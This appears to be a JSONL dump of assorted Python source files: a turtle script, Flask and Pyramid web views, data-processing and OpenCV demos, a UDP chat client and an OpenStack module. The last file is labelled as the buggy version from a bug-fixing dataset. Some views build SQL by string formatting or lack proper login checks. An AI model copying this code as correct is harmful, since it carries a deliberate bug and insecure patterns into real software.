+{"seq_id":"494669061","text":"from turtle import*\ntitle(\"ventana\")\n\nhideturtle()\nspeed(1)\nbegin_fill()\ngoto(100, 0)\ngoto(0, 100)\ngoto(100, 100)\nend_fill()\nfillcolor(\"grey\")\nbegin_fill()\ngoto(100, 0)\ngoto(0, 100)\ngoto(0, 0)\nend_fill()\nnombre = textinput(\"Nombre\", \"EHHH???!!!\")\nnombre = \"No voy a escribir \", nombre, \" aqui, porque soy un vago\"\nup()\ngoto(0, 150)\nwrite(nombre)\n","sub_path":"Python/VentanasTurtle.py","file_name":"VentanasTurtle.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"193585803","text":"import pymongo\nfrom bson import ObjectId\nfrom flask import Blueprint\nfrom flask import flash\nfrom flask import g\nfrom flask import redirect\nfrom flask import render_template\nfrom flask import request\nfrom flask import url_for\nimport json\nfrom werkzeug.exceptions import abort\nfrom werkzeug.utils import secure_filename\nfrom datetime import date, datetime\nimport pprint\nfrom persiantools.jdatetime import JalaliDate\n\nfrom myblog.blog import login_required\nfrom myblog.db import get_db\n\nbp = Blueprint(\"user\", __name__, url_prefix='/user')\n\n\n# for showing a detail of user or change his/her profile details\n@login_required\n@bp.route(\"/profile/\", methods=['GET', 'POST'])\ndef profile(user_id):\n if request.method == 'POST':\n image = request.files.get('image')\n email = request.form.get('email')\n phone = request.form.get('phone')\n if image:\n image.save('myblog/static/media/uploads/profiles/' +\n secure_filename(image.filename))\n get_db().user.update({'_id': ObjectId(user_id)}, {\n '$set': {'image': image.filename, 'email': email, 'phone': phone}})\n else:\n\n get_db().user.update({'_id': ObjectId(user_id)},\n {'$set': {'email': email, 'phone': phone}})\n flash('پنل کاربری شما با موفقیت ویرایش شد', 'alert-success')\n return redirect(url_for('blog.home'))\n\n user = get_db().user.find_one({'_id': ObjectId(user_id)})\n return render_template('edit_profile.html', user=user)\n\n\n# for showing all posts of a user who is logged in\n@bp.route(\"/posts-list/\")\ndef post_list(user_id):\n posts = get_db().posts.find({'user._id': ObjectId(user_id)})\n categories = get_db().categories.find()\n tags = get_db().tag.find()\n return render_template('my_posts.html', posts=list(posts), categories=list(categories), tags=list(tags))\n\n\n# for create a new post\n@bp.route(\"/create-post/\", methods=['GET', 'POST'])\n@login_required\ndef create_post():\n categories = get_db().categories.find()\n tags = get_db().tag.find()\n if request.method == 'POST':\n\n db = get_db()\n title = request.form.get('title')\n content = request.form.get('content')\n category = request.form.get('category')\n tags = json.loads(request.form.get('tags'))\n tags.append(request.form.get('old-tag'))\n image = request.files.get('image')\n user = g.user\n status = True\n\n if image:\n image.save('myblog/static/media/uploads/posts/' +\n secure_filename(image.filename))\n\n post = db.posts.find_one({\"title\": title})\n\n if post is None:\n db.posts.insert_one({'user': user, 'title': title, 'content': content,\n 'category': category,\n 'tag': tags, 'image': image.filename,\n 'status': status, 'like': [], 'dislike': [], 'pub_date': str(JalaliDate.today())}\n )\n\n for tag in tags:\n if not db.tag.find_one({'name': tag}):\n db.tag.insert_one({\"name\": tag})\n db.posts.create_index(\n [('title', 1), ('content', 1), ('user.username', 1), ('tag', 1)])\n return redirect(url_for('blog.home'))\n else:\n flash('پست با این عنوان موجوداست عنوان دیگری انتخاب کنید', 'alert-danger')\n return render_template('new_post.html', categories=list(categories), tags=list(tags))\n\n return render_template('new_post.html', categories=list(categories), tags=list(tags))\n\n\n# for edit a post (just title,content,tags) can be change\n@bp.route(\"/edit-post/\", methods=['POST'])\ndef edit_post(post_id):\n title = request.form.get('title')\n content = request.form.get('content')\n tags = json.loads(request.form.get('tags'))\n get_db().posts.update({'_id': ObjectId(post_id)}, {\n '$set': {'title': title, 'content': content, 'tag': tags}})\n\n return render_template('detail_post.html', post=get_db().posts.find_one({'_id': ObjectId(post_id)}))\n","sub_path":"myblog/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"256486460","text":"import os\nimport concurrent.futures\nimport pandas as pd\nfrom collections import Counter\nfrom time import time\nfrom sys import platform\nfrom tqdm import tqdm\n\ndef build_file_list(file_name):\n '''\n Create a new file containing a list of all the\n file names to parse.\n '''\n csv_store_path = os.environ['GP_HIST_PATH']\n files = sorted([x for x in os.listdir(f'{csv_store_path}/') if x.endswith(\".csv.gz\")])\n with open(file_name, 'w+') as f:\n for file in files:\n f.write(csv_store_path + os.path.sep + file + '\\n')\n\ndef task(file_path):\n '''\n Multiprocessing Task that gets the count of records for each\n NORAD ID in a single file.\n '''\n try:\n df = pd.read_csv(file_path, compression='gzip', low_memory=False)\n df = df[(df.MEAN_MOTION > 11.25) & (df.ECCENTRICITY < 0.25) & (df.OBJECT_TYPE != 'PAYLOAD')]\n \n norad_ids = [25988, 26285, 12223, 16720]\n df = df[df.NORAD_CAT_ID.isin(norad_ids)]\n except:\n raise Exception(f'Failed to open {file_path}')\n return df\n\n\ndef main():\n file_list = 'all_files.txt'\n build_file_list(file_list)\n\n ts = time()\n final_df = None\n files = [file[:-1] for file in open(file_list).readlines()]\n results = None\n with concurrent.futures.ProcessPoolExecutor() as executor:\n results = list(tqdm(executor.map(task, files), total=len(files)))\n\n final_df = pd.concat(results)\n print(f'Took {time()-ts}')\n final_df.to_pickle(f\"./sample.pkl\")\n\n\nif __name__ == '__main__':\n main()","sub_path":"playground/tim/selective_extract.py","file_name":"selective_extract.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"534314929","text":"#!/usr/bin/env python3\n\nimport operator\nimport readline\nfrom termcolor import colored\n\nOPERATORS = {\n\t'+': operator.add,\n\t'-': operator.sub,\n\t'*': operator.mul,\n\t'/': operator.truediv,\n\t'^': operator.pow,\n\t'<': operator.lt,\n\t'>': operator.gt,\n}\n\nOP_COLORS = {\n\t'+': 'green',\n\t'-': 'cyan',\n\t'*': 'magenta',\n\t'/': 'yellow',\n\t'^': 'blue',\n\t'<': 'white',\n\t'>': 'white',\n}\n\ndef printNum(result):\n\tif result < 0:\n\t\treturn colored(str(result), 'red')\n\t\n\treturn colored(str(result), 'cyan')\n\ndef calculate(arg, ls):\n\tstack = list()\n\tif isinstance(stack, list):\n\t\tpass\n\telse:\n\t\tprint('a')\n\t\tprint('b')\n\t\tprint('c')\n\t\tprint('d')\n\t\tprint('e')\n\tfor operand in arg.split():\n\t\ttry:\n\t\t\toperand = float(operand)\n\t\t\tstack.append(operand)\n\t\texcept:\n\t\t\targ2 = stack.pop()\n\t\t\targ1 = stack.pop()\n\t\t\toperator_fn = OPERATORS[operand]\n\t\t\tresult = operator_fn(arg1, arg2)\n\t\t\tstack.append(result)\n\t\t\tls.append(arg1)\n\t\t\tls.append(arg2)\n\t\t\tls.append(operand)\n\treturn stack.pop()\n\ndef main():\n\twhile True:\n\t\tls = []\n\t\tresult = calculate(input('rpn calc> ' ), ls)\n\t\tprint(printNum(ls[0]) + ' ' + colored(str(ls[2]), OP_COLORS[str(ls[2])]) + ' ' + printNum(ls[1]) + ' ' + colored('=', 'blue') + ' ' + printNum(result)) \n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"rpn.py","file_name":"rpn.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"213737377","text":"import threading, time, socket\r\n\r\nStop = False\r\njoin = False\r\nContinue = True\r\nConnected = False\r\nprint(\"Write \"\"s\"\" for exit \\nWrite \"\"q\"\" for leaving room \")\r\n\r\n\r\ndef receiving(name, sock):\r\n while not Stop:\r\n try:\r\n while True:\r\n data, addr = sock.recvfrom(255)\r\n print(data.decode(\"utf-8\"))\r\n time.sleep(0.2)\r\n except:\r\n pass\r\n\r\n\r\nhost = socket.gethostbyname(socket.gethostname())\r\nport = 0\r\n\r\nserver = (host, 9089)\r\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ns.bind((host, port))\r\ns.setblocking(0)\r\n\r\nwhile Continue == True:\r\n Stop = False\r\n join = False\r\n\r\n while Connected == False:\r\n try:\r\n port = input(\"Write number of room: \")\r\n if port == \"s\":\r\n s.close()\r\n Continue = False\r\n break\r\n s.sendto((port).encode(\"utf-8\"), server)\r\n port = int(port)\r\n time.sleep(0.1)\r\n data, addr = s.recvfrom(255)\r\n if data.decode(\"utf-8\") != \"Room exist\":\r\n print(\"Room problem\\nTry another one\")\r\n continue\r\n print(data.decode(\"utf-8\"))\r\n alias = input(\"Name: \")\r\n s.sendto(alias.encode(\"utf-8\"), server)\r\n time.sleep(0.1)\r\n data, addr = s.recvfrom(255)\r\n print(data.decode(\"utf-8\"))\r\n if data.decode(\"utf-8\") == \"Connected\":\r\n Connected = True\r\n except:\r\n print(\"Something went wrong\")\r\n\r\n room = (host, 9090 + port)\r\n\r\n room_s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n room_s.bind((host, 0))\r\n room_s.setblocking(0)\r\n\r\n rT = threading.Thread(target=receiving, args=(\"RecvThread\", room_s))\r\n rT.start()\r\n\r\n while Stop == False:\r\n\r\n if join == False:\r\n\r\n room_s.sendto((\"[\" + alias + \"] => join chat \").encode(\"utf-8\"), room)\r\n join = True\r\n else:\r\n try:\r\n chat = input()\r\n\r\n if chat == \"q\":\r\n room_s.sendto((\"[\" + alias + \"] <= left chat\").encode(\"utf-8\"), room)\r\n Connected = False\r\n Stop = True\r\n\r\n if chat == \"s\":\r\n room_s.sendto((\"[\" + alias + \"] <= left chat\").encode(\"utf-8\"), room)\r\n Stop = True\r\n Continue = False\r\n\r\n if chat != \"\":\r\n room_s.sendto((\"[\" + alias + \"]::\" + chat).encode(\"utf-8\"), room)\r\n\r\n time.sleep(0.2)\r\n except:\r\n room_s.sendto((\"[\" + alias + \"] <= left chat\").encode(\"utf-8\"), room)\r\n Stop = True\r\n rT.join()\r\ns.close()","sub_path":"Firsov_Yuriy/Changed/First task/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"481437904","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Thing',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255)),\n ('big', models.BooleanField(default=False)),\n ('clever', models.BooleanField(default=False)),\n ('element_type', models.CharField(max_length=1, choices=[(b'e', b'Earth'), (b'w', b'Water'), (b'a', b'Air'), (b'f', b'Fire')])),\n ('count', models.IntegerField(default=0)),\n ('description', models.TextField(blank=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"django_functest/tests/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"323392674","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n'''\n联合使用特征提取和calib3d 模块中的findHomography 在复杂图像中查找已知对象。\n\n 基本步骤:\n\n​\t1)使用SHIT检测特征点\n\n​\t2)使用FLANN匹配器进行匹配\n\n​\t3)选取好的匹配\n\n​\t4)根据原图像和目标图像中对应的特征点,使用上述其中一种算法求变换矩阵\n\n​\t\t\t先将两幅图像的特征点传给函数cv2.findHomography() ,函数会找到对象的透视图变换\n\n​\t\t\t再使用cv2.perspectiveTransform() 找到对象。至少**4个正确点**才能找到变换!\n\n​\t5)最后将原图像的边界经变换矩阵变换后画到目标图像上\n\n\n M, mask = cv2.findHomography(srcPoints, dstPoints, method, ransacReprojThreshold, maxIters, confidence)**\n - srcPoints:原图像中对应的特征点坐标\n - dstPoints:目标图像中对应的特征点坐标\n - method:计算单应矩阵的方法\n - 0:使用所有点的常规方法,即最小二乘法\n - RANSAC:基于RANSAC的方法\n - LMEDS:最小中值稳健方法\n - RHO:基于PROSAC的方法\n - ransacReprojThreshold:取值范围1-10,是个阈值,是原图像的点经过变换后点与目标图像上对应点的误差。超过误差就是outliers,返回值的M是变换矩阵。\n \n - mask:可选输出掩码由稳健方法(RANSAC或LMEDS)设置。掩模确定inlier点和outlier点。好的匹配所提供的正确估计称为inliers,剩下称为outliers。\n - M:变换矩阵\n\n'''\n\n\ndef flann_match_demo2(image1, image2):\n # Initiate SIFT detector\n sift = cv.xfeatures2d.SIFT_create()\n\n # find the keypoints and descriptors with SIFT\n kp1, des1 = sift.detectAndCompute(image1, None) # 关键点kp1, 关键点对应的特征向量des1\n kp2, des2 = sift.detectAndCompute(image2, None)\n\n # FLANN parameters\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5) # 使用的算法和其他相关参数\n search_params = dict(checks=50) # 指定递归遍历的次数。值越高结果越准确,但是消耗的时间也越\n\n flann = cv.FlannBasedMatcher(index_params, search_params)\n\n # 使用FLANN匹配器进行匹配\n # k=2,一个点对应两个最近的点\n matches = flann.knnMatch(des1, des2, k=2)\n\n # 按照Lowe的比率存储所有好的匹配。\n good = []\n # store all the good matches as per Lowe's ratio test.\n for m, n in matches:\n if m.distance < 0.7 * n.distance:\n good.append(m)\n\n # 只有好的匹配点多于10个才查找目标,否则显示匹配不足\n MIN_MATCH_COUNT = 10\n\n if len(good) > MIN_MATCH_COUNT:\n # 获取关键点坐标\n # kp1:原图像的特征点\n # m.queryIdx:匹配点在原图像特征点中的索引\n # .pt:特征点的坐标\n src_pts = np.float32([kp1[m.queryIdx].pt for m in good]).reshape(-1, 1, 2)\n dst_pts = np.float32([kp2[m.trainIdx].pt for m in good]).reshape(-1, 1, 2)\n\n # 获取变换矩阵,采用RANSAC算法\n M, mask = cv.findHomography(src_pts, dst_pts, cv.RANSAC, 5.0)\n matchesMask = mask.ravel().tolist()\n\n # 图像变换,将原图像变换为检测图像中匹配到的形状\n # 获得原图像的高和宽\n h, w = image1.shape\n # 使用得到的变换矩阵对原图像的四个角进行变换,获得在目标图像上对应的坐标。\n pts = np.float32([[0, 0], [0, h - 1], [w - 1, h - 1], [w - 1, 0]]).reshape(-1, 1, 2)\n # 对角点进行变换\n dst = cv.perspectiveTransform(pts, M)\n\n # 画出边框\n image2 = cv.polylines(image2, [np.int32(dst)], True, 255, 10, cv.LINE_AA)\n else:\n print(\"Not enough matches are found - %d/%d\" % (len(good), MIN_MATCH_COUNT))\n matchesMask = None\n\n # 画出匹配点\n draw_params = dict(matchColor=(0, 255, 0), # draw matches in green colo\n singlePointColor=None,\n matchesMask=matchesMask, # draw only inliers\n flags=2\n )\n image = cv.drawMatches(image1, kp1, image2, kp2, good, None, **draw_params)\n\n cv.imshow(\"FLANN匹配\", image)\n\n\ndef main():\n # 读取图片\n img1 = cv.imread(\"../code_images/box.png\", 0)\n img2 = cv.imread(\"../code_images/box_in_scene.png\", 0)\n\n flann_match_demo2(img1, img2)\n\n # 等待键盘输入\n cv.waitKey(0)\n cv.destroyAllWindows()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"code/case_33_FLANN_match2.py","file_name":"case_33_FLANN_match2.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"468364447","text":"\r\n\r\n#-*- coding: latin-1 -*-\r\n\r\nfrom pts.vzGrid import *\r\nfrom pyramid.view import view_config\r\nfrom pts.vzComponents import *\r\nfrom pts.login.views import jsonLogin\r\nfrom pts.vzLog import log_view\r\n\r\nclass UserSkill(vzMultipleComponent):\r\n\r\n table_name = \"user_skill\"\r\n \r\n name =\"skill\"\r\n \r\n status=\"single\"\r\n \r\n fields = {\"id\":[\"hidden\",False,False,\"user_skill.user_skill_id\"],\r\n \"desc\":[\"text\",True,True,\"user_skill.user_skill_desc\"],\r\n \"flag\":[\"select\",True,True,\"user_skill_flag\"]}\r\n \r\n list_field = ['id', 'desc', 'flag']\r\n \r\n list_all_sql = \"\"\"SELECT user_skill.user_skill_id, user_skill.user_skill_desc,\r\n (CASE user_skill.user_skill_flag WHEN 1 THEN 'Sim' ELSE 'Nao' END) AS user_skill_flag\r\n FROM user_skill order by user_skill_desc\"\"\"\r\n\r\n select_unique_id_sql = \"SELECT user_skill.user_skill_id, user_skill.user_skill_desc, user_skill.user_skill_flag FROM user_skill WHERE user_skill_id=%s \"\r\n \r\n list_search_sql = \"SELECT user_skill.user_skill_id, user_skill.user_skill_desc,(CASE user_skill.user_skill_flag WHEN 1 THEN 'Sim' ELSE 'Nao' END) AS user_skill_flag FROM user_skill WHERE user_skill_desc LIKE %s\"\r\n\r\n count_sql = \"SELECT count(user_skill_id) FROM user_skill\"\r\n\r\n count_search_sql = \"SELECT count(user_skill_id) FROM user_skill WHERE user_skill_desc LIKE %s\"\r\n\r\n delete_sql = \"DELETE FROM user_skill WHERE user_skill_id=%s\"\r\n\r\n select_id_sql = \"SELECT user_skill.user_skill_id, user_skill.user_skill_desc, (CASE user_skill.user_skill_flag WHEN 1 THEN 'Sim' ELSE 'Nao' END) AS user_skill_flag FROM user_skill WHERE user_skill_id=%s \"\r\n\r\n form_select_sql = { \"flag\" : \"SELECT 1, 'Sim' UNION SELECT 0, 'Nao'\" }\r\n\r\n def delete(self,params_dict):\r\n #constroi um dicionario pelos nomes dos componentes\r\n components = dict((comp.name,comp) for comp in self.components())\r\n #copia o dicionario de parametros\r\n out_params = params_dict.copy()\r\n for param in params_dict:\r\n #obtem nome do componente\r\n component = self._param_to_component_name(param)\r\n #obtem valor do id\r\n id = params_dict[param]\r\n #se o componente, for o principal\r\n if component == self.name:\r\n st = self.main_delete(id)\r\n #se apagou mais do que 1 linha, foi efetuado com sucesso\r\n if st > 0: \r\n out_params[param]=True\r\n else:\r\n out_params[param]=False\r\n #se o componente nao for um principal\r\n if component in components.keys():\r\n #apga o componente\r\n st = components[component].delete(id)\r\n #se apagou mais do que 1 linha, foi efetuado com sucesso\r\n if st > 0: \r\n out_params[param]=True\r\n else:\r\n out_params[param]=False\r\n else:\r\n #efetua o delete principal\r\n select_delete = \"SELECT count(user_skill_id) AS total FROM user_x_user_skill WHERE user_skill_id = %s\"%id\r\n cursor = mysql_db.execute(select_delete)\r\n if cursor != None:\r\n row = cursor.fetchone()\r\n if int(row[\"total\"]) > 0:\r\n out_params[param]=[\"error\",\"Especialidade ja associada a um freelancer.\"]\r\n return out_params\r\n\r\n st = self.main_delete(id)\r\n #se apagou mais do que 1 linha, foi efetuado com sucesso\r\n if st > 0: \r\n out_params[param]=[\"ok\",\"success\"]\r\n else:\r\n out_params[param]=[\"error\",\"delete failed\"]\r\n #se o componente nao for um principal\r\n return out_params\r\n\r\n\r\n#Retorna um json para a grid administrator.entity\r\n@view_config(route_name=\"cadastro.entity_information.user_skill.grid.list\",renderer=\"json\")\r\n@jsonLogin\r\n@log_view\r\ndef city_cadastro_grid_list(request):\r\n user_skill = UserSkill()\r\n grid = vzMultipleComponentJsonGrid(model=user_skill)\r\n return grid.list_grid(request.params)\r\n\r\n@view_config(route_name=\"cadastro.entity_information.user_skill.grid.del\",renderer=\"json\")\r\n@jsonLogin\r\ndef entity_category_del(request):\r\n action = vzMultipleComponentGridActions( model = UserSkill())\r\n return action.delete(request)\r\n\r\n@view_config(route_name=\"cadastro.entity_information.user_skill.grid.save\",renderer=\"json\")\r\n@jsonLogin\r\ndef entity_category_grid_save(request):\r\n user_skill = UserSkill()\r\n action = vzMultipleComponentGridActions( model=user_skill)\r\n return action.save(request)\r\n\r\n@view_config(route_name=\"cadastro.entity_information.user_skill.row.id\",renderer=\"json\")\r\n@jsonLogin\r\ndef entity_category_select_unique(request):\r\n user_skill = UserSkill()\r\n grid = vzMultipleComponentJsonGrid(model=user_skill)\r\n return grid.select_unique(request.params)\r\n\r\n@view_config(route_name='cadastro.entity_information.user_skill.select' , renderer=\"json\")\r\n@jsonLogin\r\ndef entity_category_select(request):\r\n grid = vzMultipleComponentJsonGrid(model = UserSkill())\r\n return grid.form_field_select(request.params)\r\n \r\n\r\n","sub_path":"cadastro/user_expertise.py","file_name":"user_expertise.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"79192591","text":"#!/usr/bin/env python\nfrom __future__ import division \nimport matplotlib\nmatplotlib.use('Agg') \nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\nimport numpy as np\nfrom matplotlib import colors\nimport math as math\n\ndef plot_color_gradients(gradients, names):\n\trc('legend', fontsize=10)\n\n\tcolumn_width_pt = 400 \n\tpt_per_inch = 72\n\t\n\tsize = column_width_pt / pt_per_inch\n\n\tfig, axes = plt.subplots(nrows=len(gradients), sharex=True, figsize=(size, 0.75 * size))\n\tfig.subplots_adjust(top=1.00, bottom=0.05, left=0.25, right=0.95)\n\n\n\tfor ax, gradient, name in zip(axes, gradients, names):\n\t\timg = np.zeros((2, 1024, 3))\n\t\n\t\tfor i, v in enumerate(np.linspace(0, 1, 1024)):\n\t\t\timg[:, i] = gradient(v)\n\t\n\n\t\tim = ax.imshow(img, aspect='auto')\n\t\tim.set_extent([0, 1, 0, 1])\n\t\tax.yaxis.set_visible(False)\n\n\t\tpos = list(ax.get_position().bounds)\n\t\tx_text = pos[0] - 0.25\n\t\ty_text = pos[1] + pos[3]/2.\n\t\tfig.text(x_text, y_text, name, va='center', ha='left', fontsize=10)\n\n\t\tfig.savefig('my-gradients.pdf')\n\n\n\ndef Interpolate2Colors(A, B, pos, max_pos):\n\tA_R = A >> 16\n\tA_G = (A >> 8) & 0xff\n\tA_B = A & 0xff\n\n\tB_R = B >> 16\n\tB_G = (B >> 8) & 0xff\n\tB_B = B & 0xff\n\n\tC_R = (((B_R - A_R) * pos) / max_pos + A_R) / 255\n\tC_G = (((B_G - A_G) * pos) / max_pos + A_G) / 255\n\tC_B = (((B_B - A_B) * pos) / max_pos + A_B) / 255\n\n\treturn (C_R, C_G, C_B)\n\n\n\ndef InterpolateNColors(c_list, value, max_value):\n\tfor i in range(1, len(c_list)):\n\t\tif (value < i * max_value / (len(c_list)-1)):\n\t\t\tcolor = Interpolate2Colors(c_list[i-1], c_list[i], value - (((i-1)*max_value) / (len(c_list)-1)), max_value / (len(c_list)-1))\t\t\t\n\t\t\treturn color\n\n\n\ndef hsv2rgb(h, s, v):\n\th = float(h)\n\ts = float(s)\n\tv = float(v)\n\th60 = h / 60.0\n\th60f = math.floor(h60)\n\thi = int(h60f) % 6\n\tf = h60 - h60f\n\tp = v * (1 - s)\n\tq = v * (1 - f * s)\n\tt = v * (1 - (1 - f) * s)\n\tr, g, b = 0, 0, 0\n\tif hi == 0: r, g, b = v, t, p\n\telif hi == 1: r, g, b = q, v, p\n\telif hi == 2: r, g, b = p, v, t\n\telif hi == 3: r, g, b = p, q, v\n\telif hi == 4: r, g, b = t, p, v\n\telif hi == 5: r, g, b = v, p, q\n\tr, g, b = int(r * 255), int(g * 255), int(b * 255)\n\treturn int('0x%02x%02x%02x' % (r, g, b), 16)\n\n\n\ndef gradient_rgb_bw(v):\n\treturn (v, v, v)\n\n\n\ndef gradient_rgb_gbr(v):\n\treturn InterpolateNColors([0x00FF00, 0x0000FF, 0xFF0000], v, 1)\n\n\n\ndef gradient_rgb_gbr_full(v):\n\treturn InterpolateNColors([0x00FF00, 0x00FFFF, 0x0000FF, 0xFF00FF, \n\t\t0xFF0000], v, 1)\n\n\n\ndef gradient_rgb_wb_custom(v):\n\treturn InterpolateNColors([0xFFFFFF, 0xFF00FF, 0x0000FF, 0x00FFFF, \n\t\t0x00FF00, 0xFFFF00, 0xFF0000, 0x000000], v, 1)\n\n\n\ndef gradient_hsv_bw(v):\n\treturn InterpolateNColors([hsv2rgb(0,1,0), hsv2rgb(0,0,1)], v, 1)\n\n\n\ndef gradient_hsv_gbr(v):\n\treturn InterpolateNColors([hsv2rgb(120,1,1), hsv2rgb(180,1,1), \n\t\thsv2rgb(240,1,1), hsv2rgb(300,1,1), hsv2rgb(0,1,1)], v, 1)\n\n\n\ndef gradient_hsv_unknown(v):\n\treturn InterpolateNColors([hsv2rgb(120,0.502,1), hsv2rgb(72, 0.502, 1), \n\t\thsv2rgb(0, 0.502, 1)], v, 1)\n\n\n\ndef gradient_hsv_custom(v):\n\treturn InterpolateNColors([hsv2rgb(360,1,0.94), hsv2rgb(30,1,1), hsv2rgb(60,1,1), \n\t\thsv2rgb(152,1,0.47), hsv2rgb(240,0.75,0.99), hsv2rgb(291,1,0.75)], v, 1)\t\n\t\n\n\nif __name__ == '__main__':\n\tdef toname(g):\n\t\treturn g.__name__.replace('gradient_', '').replace('_', '-').upper()\n\n\tgradients = (gradient_rgb_bw, gradient_rgb_gbr, gradient_rgb_gbr_full, gradient_rgb_wb_custom,\n\t\tgradient_hsv_bw, gradient_hsv_gbr, gradient_hsv_unknown, gradient_hsv_custom)\n\n\tplot_color_gradients(gradients, [toname(g) for g in gradients])\n","sub_path":"Colors/gradients.py","file_name":"gradients.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"109468139","text":"from . import Check, CheckStatus\nimport subprocess\n\n\nclass DiskSpaceCheck(Check):\n def __init__(self, payload, name=None, **kwargs):\n super(DiskSpaceCheck, self).__init__(\n specification='DiskSpaceCheck(file={f}, warn={w}, fail={fa})'.format(\n f=payload['file'],\n w=payload['warn_percent'],\n fa=payload['fail_percent']\n ),\n payload=payload, name=name, **kwargs)\n\n @staticmethod\n def get_fs_usage_info(file):\n df = subprocess.run('df --output=source,size,used,avail,target,fstype {f}'.format(f=file).split(' '),\n stdout=subprocess.PIPE)\n device, size, used, available, mountpoint, fstype = df.stdout.decode().split('\\n')[1].split()\n return device, size, used, available, mountpoint, fstype\n\n def perform(self):\n d, s, u, a, m, f = self.get_fs_usage_info(self._payload['file'])\n percent_used = 100*float(u)/float(s)\n self._log = 'FS: {dev} mounted on {mnt} type {typ} ' \\\n '(size: {sz}, used={us}[{pus:.3}%], avail={av}[{pav:.3}%])'.format(dev=d,\n mnt=m,\n typ=f,\n sz=s,\n us=u,\n pus=percent_used,\n av=a,\n pav=100-percent_used\n )\n\n self.message = '{perc:.3}% of disk space used'.format(perc=percent_used)\n if percent_used > float(self._payload['fail_percent']):\n self._status = CheckStatus.FAILED\n elif percent_used > float(self._payload['warn_percent']):\n self._status = CheckStatus.WARNINGS\n else:\n self._status = CheckStatus.SUCCESS\n\n\navailable_checks = {\n 'disk_space': DiskSpaceCheck\n}","sub_path":"sentry/modules/disk_space.py","file_name":"disk_space.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"24418953","text":"\n\ndef main():\n argument_spec = openstack_full_argument_spec(name=dict(required=True), metadata=dict(required=False, default=None, type='dict'), availability_zone=dict(required=False, default=None), hosts=dict(required=False, default=None, type='list'), state=dict(default='present', choices=['absent', 'present']))\n module_kwargs = openstack_module_kwargs()\n module = AnsibleModule(argument_spec, supports_check_mode=True, **module_kwargs)\n name = module.params['name']\n metadata = module.params['metadata']\n availability_zone = module.params['availability_zone']\n hosts = module.params['hosts']\n state = module.params['state']\n if (metadata is not None):\n metadata.pop('availability_zone', None)\n (sdk, cloud) = openstack_cloud_from_module(module)\n try:\n aggregates = cloud.search_aggregates(name_or_id=name)\n if (len(aggregates) == 1):\n aggregate = aggregates[0]\n elif (len(aggregates) == 0):\n aggregate = None\n else:\n raise Exception('Should not happen')\n if module.check_mode:\n module.exit_json(changed=_system_state_change(module, aggregate))\n if (state == 'present'):\n if (aggregate is None):\n aggregate = cloud.create_aggregate(name=name, availability_zone=availability_zone)\n if hosts:\n for h in hosts:\n cloud.add_host_to_aggregate(aggregate.id, h)\n if metadata:\n cloud.set_aggregate_metadata(aggregate.id, metadata)\n changed = True\n elif _needs_update(module, aggregate):\n if (availability_zone is not None):\n aggregate = cloud.update_aggregate(aggregate.id, name=name, availability_zone=availability_zone)\n if (metadata is not None):\n metas = metadata\n for i in (set(aggregate.metadata.keys()) - set(metadata.keys())):\n if (i != 'availability_zone'):\n metas[i] = None\n cloud.set_aggregate_metadata(aggregate.id, metas)\n if (hosts is not None):\n for i in (set(aggregate.hosts) - set(hosts)):\n cloud.remove_host_from_aggregate(aggregate.id, i)\n for i in (set(hosts) - set(aggregate.hosts)):\n cloud.add_host_to_aggregate(aggregate.id, i)\n changed = True\n else:\n changed = False\n module.exit_json(changed=changed)\n elif (state == 'absent'):\n if (aggregate is None):\n changed = False\n else:\n cloud.delete_aggregate(aggregate.id)\n changed = True\n module.exit_json(changed=changed)\n except sdk.exceptions.OpenStackCloudException as e:\n module.fail_json(msg=str(e))\n","sub_path":"Data Set/bug-fixing-1/45ee165fcd0f4bf53cee130aa133e4046aeb8df8-
-bug.py","file_name":"45ee165fcd0f4bf53cee130aa133e4046aeb8df8-
